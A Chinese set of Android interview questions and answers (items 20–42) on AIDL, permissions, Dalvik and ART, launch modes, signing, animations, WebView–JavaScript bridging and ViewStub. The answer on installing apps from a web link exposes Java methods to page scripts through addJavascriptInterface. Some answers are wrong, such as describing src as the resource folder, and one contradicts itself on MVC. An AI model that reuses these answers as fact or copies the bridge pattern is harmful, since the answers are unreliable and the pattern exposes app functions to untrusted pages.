说明：如果我们单独将RemoteService.aidl文件放在一个包里，那个在我们将gen目录下的该包拷贝到B工程中。如果我们将RemoteService.aidl文件和我们的其他类存放在一起，那么我们在B工程中就要建立相应的包，以保证RmoteService.java文件的报名正确，我们不能修改RemoteService.java文件           bindService(new Inten(\"net.blogjava.mobile.aidlservice.RemoteService\"), serviceConnection, Context.BIND_AUTO_CREATE);        ServiceConnection的onServiceConnected(ComponentName name, IBinder service)方法中的service参数就是A工程中MyService类中继承了RemoteService.stub类的内部类的对象。\n\n\n20.请解释下Android程序运行时权限与文件系统权限的区别。\n\nAndroid程序执行需要读取到安全敏感项必需在androidmanifest.xml中声明相关权限请求, 打电话,访问网络,获取坐标,读写sd卡,读写联系人等..安装的时候会提示用户…\n \n文件系统的权限是linux权限. 比如说sharedpreference里面的Context.Mode.private  Context.Mode.world_read_able   Context.Mode_world_writeable \n777自己 同组 其他21.系统上安装了多种浏览器，能否指定某浏览器访问指定页面\n\n Intent intent =newIntent();        \n         intent.setAction(\"android.intent.action.VIEW\");    \n         Uri content_url =Uri.parse(\"http://www.163.com\");   \n         intent.setData(content_url);           \n         intent.setClassName(\"com.android.browser\",\"com.android.browser.BrowserActivity\");   \n         startActivity(intent);\n只要修改以intent.setClassName(\"com.android.browser\",\"com.android.browser.BrowserActivity\");\n中相应的应用程序packagename 和要启动的activity即可启动其他浏览器来\nuc浏览器\"：\"com.uc.browser\", \"com.uc.browser.ActivityUpdate“\nopera浏览器：\"com.opera.mini.android\", \"com.opera.mini.android.Browser\"\nqq浏览器：\"com.tencent.mtt\", \"com.tencent.mtt.MainActivity\"22.对android主线程的运用和理解。\n\n主ui线程不能执行耗时的操作23.对android虚拟机的理解，包括内存管理机制垃圾回收机制。dalvik和art区别\n\n\n虚拟机很小,空间很小,谈谈移动设备的虚拟机的大小限制 16M ,\n谈谈加载图片的时候怎么处理大图片的,\noutmemoryException\nBitmapFactory.option \n垃圾回收,没有引用的对象,在某个时刻会被系统gc掉 .\n\nDalvik和标准Java虚拟机(JVM)首要差别\nDalvik 基于寄存器，而 JVM 基于栈。\n基于寄存器的虚拟机对于编译后变大的程序来说，在它们执行的时候，花费的时间更短。\nDalvik和Java运行环境的区别\n1：Dalvik主要是完成对象生命周期管理，堆栈管理，线程管理，安全和异常管理，以及垃圾回收等等重要功能。\n2：Dalvik负责进程隔离和线程管理，每一个Android应用在底层都会对应一个独立的Dalvik虚拟机实例，其代码在虚拟机的解释下得以执行。\n3：不同于Java虚拟机运行java字节码，Dalvik虚拟机运行的是其专有的文件格式Dex\n4:dex文件格式可以减少整体文件尺寸，提高I/o操作的类查找速度。\n5:odex是为了在运行过程中进一步提高性能，对dex文件的进一步优化。\n6：所有的Android应用的线程都对应一个Linux线程，虚拟机因而可以更多的依赖操作系统的线程调度和管理机制\n7：有一个特殊的虚拟机进程Zygote，他是虚拟机实例的孵化器。它在系统启动的时候就会产生，它会完成虚拟机的初始化，库的加载，预制类库和初始化的操作。如果系统需要一个新的虚拟机实例，它会迅速复制自身，以最快的数据提供给系统。对于一些只读的系统库，所有虚拟机实例都和Zygote共享一块内存区域。\n8：Dalvik是由Dan Bornstein编写的，名字来源于他的祖先曾经居住过名叫Dalvík的小渔村，村子位于冰岛Eyjafj&ouml;r&eth;ur\n\n许多GC实现都是在对象开头的地方留一小块空间给GC标记用。Dalvik VM则不同，在进行GC的时候会单独申请一块空间，以位图的形式来保存整个堆上的对象的标记，在GC结束后就释放该空间。 \ndalvik是执行的时候编译+运行，安装比较快，开启应用比较慢，应用占用空间小ART是安装的时候就编译好了，执行的时候直接就可以运行的，安装慢，开启应用快，占用空间大用个比喻来说就是，骑自行车dalvik 是已经折叠起来的自行车，每次骑都要先组装自行车才能骑ART 是已经组装好的自行车，每次骑直接上车就能走人效率高在开启的时候，运行中的速度是差不多的24.Framework工作方式及原理，Activity是如何生成一个view的，机制是什么。\n\n主要用到反射和代理的知识。主要用pull解析xml，然后通过反射得到属性，在onDrew画出来\n \n反射 , 配置文件 \n 可以讲下activity的源码,比如说 每个activity里面都有window.callback和keyevent.callback,一些回调的接口或者函数吧. 框架把activity创建出来就会调用里面的这些回调方法,会调用activity生命周期相关的方法.\n \n \nActivity创建一个view是通过ondraw 画出来的, 画这个view之前呢,还会调用onmeasure方法来计算显示的大小.25.android本身的一些限制，比如apk包大小限制，读取大文件时的时间限\n\n这个问题问的有问题, apk包大小限制不好说,\n极品飞车有100M 还是能装到手机上,\n世面google market 上大程序  主程序 很小 5~10M    下载sdcard\n200~300M \n15分钟之内 申请退款 \napk包,精简包, 素材存放在服务器. 游戏程序.\n \n \n读大文件的时间限制应该是main线程里面的时间限制吧.5秒.26.Android程序与Java程序的区别？\n\nAndroid程序用android sdk开发,java程序用javasdk开发.\nAndroid SDK引用了大部分的Java SDK，少数部分被Android SDK抛弃，比如说界面部分，java.awt  swing  package除了java.awt.font被引用外，其他都被抛弃，在Android平台开发中不能使用。 android sdk 添加工具jar httpclient , pull  opengl\n \n将Java 游戏或者j2me程序移植到Android平台的过程中，\nAndroid  SDK 与Java SDK的区别是很需要注意的地方。\nsampleDataAdpter(\"YY-MM-DD\")27.Android中Task任务栈的分配\n\n首先我们来看下Task的定义，Google是这样定义Task的：a task is what the user experiences as an \"application.\" It's a group of related activities, arranged in a stack. A task is a stack of activities, not a class or an element in the manifest file. 这意思就是说Task实际上是一个Activity栈，通常用户感受的一个Application就是一个Task。从这个定义来看，Task跟Service或者其他Components是没有任何联系的，它只是针对Activity而言的。\nActivity有不同的启动模式, 可以影响到task的分配\nTask，简单的说，就是一组以栈的模式聚集在一起的Activity组件集合。它们有潜在的前后驱关联，新加入的Activity组件，位于栈顶，并仅有在栈顶的Activity，才会有机会与用户进行交互。而当栈顶的Activity完成使命退出的时候，Task会将其退栈，并让下一个将跑到栈顶的Activity来于用户面对面，直至栈中再无更多Activity，Task结束。\n事件  Task栈（粗体为栈顶组件）\n点开Email应用，进入收件箱（Activity A） A\n选中一封邮件，点击查看详情（Activity B）   AB\n点击回复，开始写新邮件（Activity C） ABC\n写了几行字，点击选择联系人，进入选择联系人界面（Activity D） ABCD\n选择好了联系人，继续写邮件   ABC\n写好邮件，发送完成，回到原始邮件    AB\n点击返回，回到收件箱  A\n退出Email程序   null \n如上表所示，是一个实例。从用户从进入邮箱开始，到回复完成，退出应用整个过程的Task栈变化。这是一个标准的栈模式，对于大部分的状况，这样的Task模型，足以应付，但是，涉及到实际的性能、开销等问题，就会变得残酷许多。\n \n比如，启动一个浏览器，在Android中是一个比较沉重的过程，它需要做很多初始化的工作，并且会有不小的内存开销。但与此同时，用浏览器打开一些内容，又是一般应用都会有的一个需求。设想一下，如果同时有十个运行着的应用（就会对应着是多个Task），都需要启动浏览器，这将是一个多么残酷的场面，十个Task栈都堆积着很雷同的浏览器Activity，\n是多么华丽的一种浪费啊。\n于是你会有这样一种设想，浏览器Activity，可不可以作为一个单独的Task而存在，不管是来自那个Task的请求，浏览器的Task，都不会归并过去。这样，虽然浏览器Activity本身需要维系的状态更多了，但整体的开销将大大的减少，这种舍小家为大家的行为，还是很值得歌颂的\nstandard\", \"singleTop\", \"singleTask\", \"singleInstance\"。\n \nstandard模式， 是默认的也是标准的Task模式，在没有其他因素的影响下，使用此模式的Activity，会构造一个Activity的实例，加入到调用者的Task栈中去，对于使用频度一般开销一般什么都一般的Activity而言，standard模式无疑是最合适的，因为它逻辑简单条理清晰，所以是默认的选择。\n \n而singleTop模式，基本上于standard一致，仅在请求的Activity正好位于栈顶时，有所区别。此时，配置成singleTop的Activity，不再会构造新的实例加入到Task栈中，而是将新来的Intent发送到栈顶Activity中，栈顶的Activity可以通过重载onNewIntent来处理新的Intent（当然，也可以无视...）。这个模式，降低了位于栈顶时的一些重复开销，更避免了一些奇异的行为（想象一下，如果在栈顶连续几个都是同样的Activity，再一级级退出的时候，这是怎么样的用户体验...），很适合一些会有更新的列表Activity展示。一个活生生的实例是，在Android默认提供的应用中，浏览器（Browser）的书签Activity（BrowserBookmarkPage），就用的是singleTop。\n \nsingleTask，和singleInstance，则都采取的另辟Task的蹊径。\n标志为singleTask的Activity，最多仅有一个实例存在，并且，位于以它为根的Task中。所有对该Activity的请求，都会跳到该Activity的Task中展开进行。singleTask，很象概念中的单件模式，所有的修改都是基于一个实例，这通常用在构造成本很大，但切换成本较小的Activity中。最典型的例子，还是浏览器应用的主Activity（名为Browser...），它是展示当前tab，当前页面内容的窗口。它的构造成本大，但页面的切换还是较快的，于singleTask相配，还是挺天作之合的。\n \nsingleInstance显得更为极端一些。在大部分时候singleInstance与singleTask完全一致，唯一的不同在于，singleInstance的Activity，是它所在栈中仅有的一个Activity，如果涉及到的其他Activity，都移交到其他Task中进行。这使得singleInstance的Activity，像一座孤岛，彻底的黑盒，它不关注请求来自何方，也不计较后续由谁执行。在Android默认的各个应用中，很少有这样的Activity，在我个人的工程实践中，曾尝试在有道词典的快速取词Activity中采用过，\n是因为我觉得快速取词入口足够方便（从notification中点选进入），并且会在各个场合使用，应该做得完全独立。\n \n大的apk 拆成 很多小的apk \n  ●Activity的android:affinity属性\n1.配置后 当启动这个activity时就先去找有没有activity的亲和力属性相同 有就加入这个\n       activity所在的任务中没有就新开任务\n2.affinity起作用需要的条件而者具备一个:\n              1.intent包含FLAG_ACTIVITY_NEW_TASK标记\n              2.activity元素启用了allowTaskReparenting属性.28.在Android中，怎么节省内存的使用，怎么主动回收内存？\n\n  回收已经使用的资源, \n  合理的使用缓存\n合理设置变量的作用范围… \napplication 对象\n//未来的某一段时间执行 \nSystem.gc();29.不同工程中的方法是否可以相互调用？\n\n可以,列举aidl访问远程服务的例子.30.dvm的进程和Linux的进程, 应用程序的进程是否为同一个概念  是同一概念\n\nDvm的进程是dalivk虚拟机进程,每个android程序都运行在自己的进程里面,\n每个android程序系统都会给他分配一个单独的liunx  uid(user id),\n每个dvm都是linux里面的一个进程.所以说这两个进程是一个进程.31.在Android中是如何实现判断区分电话的状态，去电，来电、未接来电？\n\nDay8 showAddressService.java\nTelephoneyManger.listen();32.谈谈Android的优点和不足之处。\n\n1、开放性,开源ophone  阿里云( 完全兼容android)\n2、挣脱运营商束缚 \n3、丰富的硬件选择 mtk android \n4、不受任何限制的开发商\n5、无缝结合的Google应用\n \n缺点也有5处：\n1、安全问题、隐私问题 \n2、卖手机的不是最大运营商\n3、运营商对Android手机仍然有影响\n4、山寨化严重\n5、过分依赖开发商，缺乏标准配置33.Android系统中GC什么情况下会出现内存泄露呢?\n\n视频编解码/内存泄露\n检测内存泄露   工具 \n \n导致内存泄漏主要的原因是，先前申请了内存空间而忘记了释放。如果程序中存在对无用对象的引用，那么这些对象就会驻留内存，消耗内存，因为无法让垃圾回收器GC验证这些对象是否不再需要。如果存在对象的引用，这个对象就被定义为\"有效的活动\"，同时不会被释放。要确定对象所占内存将被回收，我们就要务必确认该对象不再会被使用。典型的做法就是把对象数据成员设为null或者从集合中移除该对象。但当局部变量不需要时，不需明显的设为null，因为一个方法执行完毕时，这些引用会自动被清理。\nJava带垃圾回收的机制,为什么还会内存泄露呢?\n \nVector v = new Vector(10);    \n for (int i = 1; i < 100; i++)      {     \n　Object o = new Object();      　\nv.add(o);      　\no = null;     \n}//此时，所有的Object对象都没有被释放，因为变量v引用这些对象。 \n \nJava 内存泄露的根本原因就是 保存了不可能再被访问的变量类型的引用34.Android UI中的View如何刷新。\n\n在主线程中  拿到view调用Invalide()方法,查看画画板里面更新imageview的方法\n \n在子线程里面可以通过postInvalide()方法;35. 简单描述下Android 数字签名。\n\nAndroid 数字签名\n       在Android系统中，所有安装到系统的应用程序都必有一个数字证书，此数字证书用于标识应用程序的作者和在应用程序之间建立信任关系 \nAndroid系统要求每一个安装进系统的应用程序都是经过数字证书签名的，数字证书的私钥则保存在程序开发者的手中。Android将数字证书用来标识应用程序的作者和在应用程序之间建立信任关系，不是用来决定最终用户可以安装哪些应用程序。\n这个数字证书并不需要权威的数字证书签名机构认证(CA)，它只是用来让应用程序包自我认证的。\n同一个开发者的多个程序尽可能使用同一个数字证书，这可以带来以下好处。\n(1)有利于程序升级，当新版程序和旧版程序的数字证书相同时，Android系统才会认为这两个程序是同一个程序的不同版本。如果新版程序和旧版程序的数字证书不相同，则Android系统认为他们是不同的程序，并产生冲突，会要求新程序更改包名。\n \n(2)有利于程序的模块化设计和开发。Android系统允许拥有同一个数字签名的程序运行在一个进程中，Android程序会将他们视为同一个程序。所以开发者可以将自己的程序分模块开发，而用户只需要在需要的时候下载适当的模块。\n在签名时，需要考虑数字证书的有效期：\n(1)数字证书的有效期要包含程序的预计生命周期，一旦数字证书失效，持有改数字证书的程序将不能正常升级。\n(2)如果多个程序使用同一个数字证书，则该数字证书的有效期要包含所有程序的预计生命周期。\n(3)Android Market强制要求所有应用程序数字证书的有效期要持续到2033年10月22日以后。 \nAndroid数字证书包含以下几个要点：\n (1)所有的应用程序都必须有数字证书，Android系统不会安装一个没有数字证书的应用程序\n (2)Android程序包使用的数字证书可以是自签名的，不需要一个权威的数字证书机构签名认证\n (3)如果要正式发布一个Android ，必须使用一个合适的私钥生成的数字证书来给程序签名，而不能使用adt插件或者ant工具生成的调试证书来发布。\n (4)数字证书都是有有效期的，Android只是在应用程序安装的时候才会检查证书的有效期。如果程序已经安装在系统中，即使证书过期也不会影响程序的正常功能。36.android中的动画有哪几类，它们的特点和区别是什么？\n\n两种，一种是Tween动画、还有一种是Frame动画。\nTween动画，这种实现方式可以使视图组件移动、放大、缩小以及产生透明度的变化；\n可以通过布局文件,可以通过代码\n  1、  控制View的动画 \na)     alpha(AlphaAnimation)\n渐变透明     \nb)     scale(ScaleAnimation)\n渐变尺寸伸缩 \nc)     translate(TranslateAnimation)\n画面转换、位置移动   \nd)     rotate(RotateAnimation)\n画面转移，旋转动画   \n \n2、    控制一个Layout里面子View的动画效果\na)     layoutAnimation(LayoutAnimationController)\nb)     gridAnimation(GridLayoutAnimationController)\n另一种Frame动画，传统的动画方法，通过顺序的播放排列好的图片来实现，类似电影。37.说说mvc模式的原理，它在android中的运用\n\nAndroid中没有mvc，只有在j2ee中有，是用于逻辑也界面分离的\nMVC英文即Model-View-Controller，即把一个应用的输入、处理、输出流程按照Model、View、Controller的方式进行分离，这样一个应用被分成三个层——模型层、视图层、控制层。\n \nAndroid中界面部分也采用了当前比较流行的MVC框架，在Android中M就是应用程序中二进制的数据，V就是用户的界面。Android的界面直接采用XML文件保存的，界面开发变的很方便。在Android中C也是很简单的，一个Activity可以有多个界面，只需要将视图的ID传递到setContentView()，就指定了以哪个视图模型显示数据。\n \n \n在Android SDK中的数据绑定，也都是采用了与MVC框架类似的方法来显示数据。在控制层上将数据按照视图模型的要求（也就是Android SDK中的Adapter）封装就可以直接在视图模型上显示了，从而实现了数据绑定。比如显示Cursor中所有数据的ListActivity，其视图层就是一个ListView，将数据封装为ListAdapter，并传递给ListView，数据就在ListView中显示。38.通过点击一个网页上的url 就可以完成程序的自动安装,描述下原理\n\nDay11 AddJavascriptInterface\nnew Object{\n       callphone();\n       installapk();\n}\n\n将js与java相互调用再来一个例子，解决相互调用之间的关系。\n\n首先说明一重要代码的情况：\n\nandroid中的关键代码：\nwebview.getSettings().setJavaScriptEnabled(true);\nwebview.addJavascriptInterface(object,\"name\"); //把Name=\"name\"的对象添加到object中。object如果是this，就是window.name\nwebview.loadUrl(\"file:///android_asset/index.html\"); //注意这个资源的位置放在assets文件夹下。\n\n\njs或html中调用android中方法代码：\njs中使用 window.name.java中的方法()；\nandroid中调用js的function方法：\n         Callfunction(){\n         webview.loadUrl(\"javascript: function ()\");\n需要注意的地方，很多数据类型js中不认识，最好是在android那边封装好，提供必要的方法接口。比如传到js中的list，在js中是没办法去得到里面的元素的。\naddJavascriptInterface：addJavascriptInterface方法中要绑定的Java对象及方法要运行在另外的线程中，不能运行在构造他的线程中，也就是说不能运行在当前的activity线程中，就是把这个方法绑定到页面中，js也可以调用。\n文档中的解释：\nUse this function to bind an object to Javascript so that the methods can be accessed from Javascript.\nThe Java object that is bound runs in another thread and not in the thread that it was constructed in.\n\n下面给出具体的测试代码：\n1、Activity 代码\n\n```java\npublic class TestWebView extends Activity {  \n    private WebView mWebView;  \n    private List<String> list;  \n    private int mkeyCode;  \n  \n    @Override  \n    public void onCreate(Bundle savedInstanceState) {  \n        super.onCreate(savedInstanceState);  \n        setContentView(R.layout.main);  \n        mWebView = (WebView) findViewById(R.id.htmlview);  \n  \n        initData();  \n          \n        WebSettings webSettings = mWebView.getSettings();  \n          \n        // 是否允许在webview中执行javascript  \n        webSettings.setJavaScriptEnabled(true);  \n          \n        mWebView.addJavascriptInterface(this, \"javatojs\");  \n  \n        //加载网页  \n        mWebView.loadUrl(\"file:///android_asset/index.html\");  \n    }  \n      \n    @Override  \n    public boolean onKeyUp(int keyCode, KeyEvent event) {  \n        mkeyCode = keyCode;  \n        Log.i(\"AA\",\"keyCode=\"+keyCode);  \n        mWebView.loadUrl(\"javascript: OnKeyUp()\");  \n        return super.onKeyUp(keyCode, event);  \n    }  \n      \n    public int getKeyCode(){  \n        return mkeyCode;  \n    }  \n      \n    void initData() {  \n        list = new ArrayList<String>();  \n        for (int i = 0; i < 5; i++) {  \n            list.add(\"我是List中的第\" + (i + 1) + \"行\");  \n        }  \n    }  \n      \n    /** \n     * 该方法将在js脚本中，通过window.javatojs.....()进行调用 \n     *  \n     * @return \n     */  \n    public Object getObject(int index) {  \n        Log.i(\"A\",\"getObject\");       \n        return list.get(index);  \n    }  \n  \n    public int getSize() {  \n        Log.i(\"A\",\"getSize\");  \n        return list.size();  \n    }  \n  \n    public void Callfunction() {  \n        Log.i(\"A\",\"Callfunction\");  \n        mWebView.loadUrl(\"javascript: GetList()\");  \n    }  \n      \n    public void printStr(String str){  \n        Log.i(\"A\",\"GetList:\" + str);  \n    }     \n}  \n```\n    2、js 代码 index.html\n\n\n```\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">  \n<html>  \n  \n<head>  \n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">  \n  \n<title>demotitle></title>  \n  \n<script language=\"javascript\">   \n  \nfunction GetList(){  \n    var i=window.javatojs.getSize();  \n  \n    for(var n=0;n<i;n++){  \n        var jsdata= window.javatojs.getObject(n);//拿到activity里面的属性javadata  \n        window.javatojs.printStr(\"test\");  \n    }  \n}  \n  \nfunction OnKeyUp() {  \n    var keycode = window.javatojs.getKeyCode();  \n    window.javatojs.printStr(keycode);  \n}  \n  \n</script>  \n</head>  \n  \n <body style=\"background-color:#000;\">  \n  <table width=\"400\" align=\"center\"><tr><td>  \n  <p> </p>  \n  <p>  \n<table width=\"400\" align=\"center\">  \n<div id=\"output\" >test</div>  \n    <input type=\"submit\" value=\"buttons\"  \n    onclick=\"document.getElementById('output').innerHTML=window.javatojs.Callfunction()\"/>  \n  <br>  \n  \n  </p>  \n  </td></tr></table>  \n</body>  \n  \n</html> \n``` \n以上代码主要测试js与java相互调用，而由于按键这种系统事件被webview截获掉，有如下两种方式进行处理\n\n1、把方向键的流程改成：先传给webcore，假如没处理，再在webview里面处理，这个需要修改webview.java代码\n2、直接应用搞定，java捕获按键，然后调js函数，上面代码就是使用这种方法。\n\n测试结果如下： 点击buttons按钮：\nI/A       ( 4990): Callfunction\nI/A       ( 4990): getSize\nI/A       ( 4990): getObject\nI/A       ( 4990): GetList:test\nI/A       ( 4990): getObject\nI/A       ( 4990): GetList:test\nI/A       ( 4990): getObject\nI/A       ( 4990): GetList:test\nI/A       ( 4990): getObject\nI/A       ( 4990): GetList:test\nI/A       ( 4990): getObject\nI/A       ( 4990): GetList:test\n\nyou press KEY_RIGHT\nI/AA      ( 4990): keyCode=22\nI/A       ( 4990): GetList:22\n\nyou press KEY_UP\nI/AA      ( 4990): keyCode=19\nI/A       ( 4990): GetList:19\n\nyou press KEY_DOWN\nI/AA      ( 4990): keyCode=20\nI/A       ( 4990): GetList:20\n\nyou press KEY_LEFT\nI/AA      ( 4990): keyCode=21\nI/A       ( 4990): GetList:21\n\n这里为何使用这种方式，是因为对于上下左右及确定这种功能键被webview截取掉了，无法传递到webcore中，而只能重载OnKeyDown/OnKeyUp方法，再由js调用java方法来获取得。\n对于数字键的处理可以直接在js中进行处理：\nlogcat中会有明显的打印，对于这些键没有截掉，所以可以直接获取得到：\nD/webcore ( 4990): proc key: code=12\nD/webcore ( 4990): proc key: nativeKey return false\nD/webcore ( 4990): proc key: nativeKey return true\njs代码可以如此编写：\n\n```\n <script language=\"JavaScript\">  \n  \ndocument.onkeypress = grab_keypress_event;  \ndocument.onirkeypress = grab_irkeypress_event;  \ndocument.onsystemevent = grab_system_event;  \ndocument.onkeydown = grab_keydown_event;  \ndocument.onkeyup = grab_keyup_event;  \n  \nfunction init()  \n{  \n    document.getElementById(\"txt_keypress\").innerHTML = \"\";  \n    document.getElementById(\"txt_irkey\").innerHTML= \"\";  \n    document.getElementById(\"txt_systemevent\").innerHTML=\"\";  \n    document.getElementById(\"txt_keydown\").innerHTML=\"\";  \n    document.getElementById(\"txt_keyup\").innerHTML=\"\";  \n}  \n  \nfunction grab_keypress_event(event)  \n{  \n    var keycode = event.keyCode;  \n    document.getElementById(\"txt_keypress\").innerHTML=keycode;  \n}  \n  \nfunction grab_irkeypress_event(event)  \n{  \n    var keycode = event.keyCode;  \n    document.getElementById(\"txt_irkey\").innerHTML=keycode;  \n}  \n  \nfunction grab_system_event(event)  \n{  \n    var keycode = event.which;  \n    document.getElementById(\"txt_systemevent\").innerHTML=keycode;  \n}  \n  \nfunction grab_keydown_event(event)  \n{  \n    var keycode = event.keyCode;  \n    var type = event.type;  \n    var mod = event.modifiers;  \n    document.getElementById(\"txt_keydown\").innerHTML=keycode;  \n}  \n  \nfunction grab_keyup_event(event)  \n{  \n    var keycode = event.keyCode;  \n    document.getElementById(\"txt_keyup\").innerHTML=keycode;  \n}  \n </script> \n``` \n39.Service和Activity在同一个线程吗\n\n默认情况同一线程 main主线程 ui线程40.ViewStub的应用\n\n  在开发应用程序的时候，经常会遇到这样的情况，会在运行时动态根据条件来决定显示哪个View或某个布局。那么最通常的想法就是把可能用到的View都写在上面，先把它们的可见性都设为View.GONE，然后在代码中动态的更改它的可见性。这样的做法的优点是逻辑简单而且控制起来比较灵活。但是它的缺点就是，耗费资源。虽然把View的初始可见View.GONE但是在Inflate布局的时候View仍然会被Inflate，也就是说仍然会创建对象，会被实例化，会被设置属性。也就是说，会耗费内存等资源。\n      推荐的做法是使用android.view.ViewStub，ViewStub是一个轻量级的View，它一个看不见的，不占布局位置，占用资源非常小的控件。可以为ViewStub指定一个布局，在Inflate布局的时候，只有ViewStub会被初始化，然后当ViewStub被设置为可见的时候，或是调用了ViewStub.inflate()的时候，ViewStub所向的布局就会被Inflate和实例化，然后ViewStub的布局属性都会传给它所指向的布局。这样，就可以使用ViewStub来方便的在运行时，要还是不要显示某个布局。\n      但ViewStub也不是万能的，下面总结下ViewStub能做的事儿和什么时候该用ViewStub，什么时候该用可见性的控制。\n     首先来说说ViewStub的一些特点：\n         1. ViewStub只能Inflate一次，之后ViewStub对象会被置为空。按句话说，某个被ViewStub指定的布局被Inflate后，就不会够再通过ViewStub来控制它了。\n         2. ViewStub只能用来Inflate一个布局文件，而不是某个具体的View，当然也可以把View写在某个布局文件中。\n     基于以上的特点，那么可以考虑使用ViewStub的情况有：\n         1. 在程序的运行期间，某个布局在Inflate后，就不会有变化，除非重新启动。\n              因为ViewStub只能Inflate一次，之后会被置空，所以无法指望后面接着使用ViewStub来控制布局。所以当需要在运行时不止一次的显示和隐藏某个布局，那么ViewStub是做不到的。这时就只能使用View的可见性来控制了。\n         2. 想要控制显示与隐藏的是一个布局文件，而非某个View。\n              因为设置给ViewStub的只能是某个布局文件的Id，所以无法让它来控制某个View。\n     所以，如果想要控制某个View(如Button或TextView)的显示与隐藏，或者想要在运行时不断的显示与隐藏某个布局或View，只能使用View的可见性来控制。\n下面来看一个实例\n在这个例子中，要显示二种不同的布局，一个是用TextView显示一段文字，另一个则是用ImageView显示一个图片。这二个是在onCreate()时决定是显示哪一个，这里就是应用ViewStub的最佳地点。\n先来看看布局，一个是主布局，里面只定义二个ViewStub，一个用来控制TextView一个用来控制ImageView，另外就是一个是为显示文字的做的TextView布局，一个是为ImageView而做的布局：\n\n```xml\n<?xml version=\"1.0\" encoding=\"utf-8\"?>  \n<LinearLayout  \n  xmlns:android=\"http://schemas.android.com/apk/res/android\"  \n  android:orientation=\"vertical\"  \n  android:layout_width=\"fill_parent\"  \n  android:layout_height=\"fill_parent\"  \n  android:gravity=\"center_horizontal\" >   \n  <ViewStub   \n    android:id=\"@+id/viewstub_demo_text\"  \n    android:layout_width=\"wrap_content\"  \n    android:layout_height=\"wrap_content\"  \n    android:layout_marginLeft=\"5dip\"  \n    android:layout_marginRight=\"5dip\"  \n    android:layout_marginTop=\"10dip\"  \n    android:layout=\"@layout/viewstub_demo_text_layout\"/>  \n  <ViewStub   \n    android:id=\"@+id/viewstub_demo_image\"  \n    android:layout_width=\"wrap_content\"  \n    android:layout_height=\"wrap_content\"  \n    android:layout_marginLeft=\"5dip\"  \n    android:layout_marginRight=\"5dip\"  \n    android:layout=\"@layout/viewstub_demo_image_layout\"/>  \n</LinearLayout >   \n```\n为TextView的布局：\n\n\n```xml\n<?xml version=\"1.0\" encoding=\"utf-8\"?>  \n<LinearLayout  \n  xmlns:android=\"http://schemas.android.com/apk/res/android\"  \n  android:orientation=\"vertical\"  \n  android:layout_width=\"wrap_content\"  \n  android:layout_height=\"wrap_content\" >   \n    <TextView  \n        android:id=\"@+id/viewstub_demo_textview\"  \n        android:layout_width=\"fill_parent\"  \n        android:layout_height=\"wrap_content\"  \n        android:background=\"#aa664411\"  \n        android:textSize=\"16sp\"/>  \n</LinearLayout >  \n``` \n为ImageView的布局：\n\n\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?>  \n<LinearLayout  \n  xmlns:android=\"http://schemas.android.com/apk/res/android\"  \n  android:orientation=\"vertical\"  \n  android:layout_width=\"wrap_content\"  \n  android:layout_height=\"wrap_content\" >   \n    <ImageView  \n        android:id=\"@+id/viewstub_demo_imageview\"  \n        android:layout_width=\"wrap_content\"  \n        android:layout_height=\"wrap_content\"/>  \n</LinearLayout >  \n``` \n下面来看代码，决定来显示哪一个，只需要找到相应的ViewStub然后调用其infalte()就可以获得相应想要的布局：\n\n\n```java\npackage com.effective;  \n  \nimport android.app.Activity;  \nimport android.os.Bundle;  \nimport android.view.ViewStub;  \nimport android.widget.ImageView;  \nimport android.widget.TextView;  \n  \npublic class ViewStubDemoActivity extends Activity {  \n    @Override  \n    public void onCreate(Bundle savedInstanceState) {  \n        super.onCreate(savedInstanceState);  \n        setContentView(R.layout.viewstub_demo_activity);  \n        if ((((int) (Math.random() * 100)) & 0x01) == 0) {  \n            // to show text  \n            // all you have to do is inflate the ViewStub for textview  \n            ViewStub stub = (ViewStub) findViewById(R.id.viewstub_demo_text);  \n            stub.inflate();  \n            TextView text = (TextView) findViewById(R.id.viewstub_demo_textview);  \n            text.setText(\"The tree of liberty must be refreshed from time to time\" +  \n                    \" with the blood of patroits and tyrants! Freedom is nothing but \" +  \n                    \"a chance to be better!\");  \n        } else {  \n            // to show image  \n            // all you have to do is inflate the ViewStub for imageview  \n            ViewStub stub = (ViewStub) findViewById(R.id.viewstub_demo_image);  \n            stub.inflate();  \n            ImageView image = (ImageView) findViewById(R.id.viewstub_demo_imageview);  \n            image.setImageResource(R.drawable.happy_running_dog);  \n        }  \n    }  \n}  \n```\n运行结果：\n\n\n使用的时候的注意事项：\n1. 某些布局属性要加在ViewStub而不是实际的布局上面，才会起作用，比如上面用的android:layout_margin*系列属性，如果加在TextView上面，则不会起作用，需要放在它的ViewStub上面才会起作用。而ViewStub的属性在inflate()后会都传给相应的布局。\n41.android开发中怎么去调试bug\n\n逻辑错误 \n1.断点 debug \n2. logcat ,\n界面布局,显示 hierarchyviewer.bat42.书写出android工程的目录结构以及相关作用\n\n下面是HelloAndroid项目在eclipse中的目录层次结构：\n\n由上图可以看出项目的根目录下共有九个文件（夹），下面就这九个文件（夹）进行详解：\n1.1src文件夹和assets文件夹：\n每个Android程序都包含资源目录（src）和资产目录（assets），资源和资产听起来感觉没有多大差别，但在存储外部内容时用资源（src）比较多，其中它们的区别在于存放在资源（src）下的内容可以通过应用程序的R类进行访问，而存放在资产（assets）下的内容会保持原始文件的格式，如果需要访问，则必须使用AssetManager以字节流的方式来读取，用起来非常的不方便。为了方便使用，通常文件和数据都会保存在资源（src）目录下\n1.2res(Resource)目录：资源目录\n可以存放一些图标，界面文件和应用中用到的文字信息，下图为res目录截图:\n1.2.1 drawable-*dpi文件夹:将图标按分辨率的高低放入不同的目录，其中draeable-hdpi用来存放高分辨率的图标，drawable-mdpi用来存放中等分辨率的图标，drawable-ldpi用来存放低分辨率的图标\n1.2.2 values文件夹：用来存放文字的信息\n（1）strings.xml:用来定义字符串和数值\n<?xml version=\"1.0\"encoding=\"utf-8\"?>\n<resources>\n \n    <string name=\"hello\">Hello World, Hello 3G</string>\n    <string name=\"app_name\">Android1.1</string>\n        <string name=\"test\">哥想你了</string>\n        <string name=\"startButton\">按钮1</string>\n        <string name=\"start\">按钮1</string> 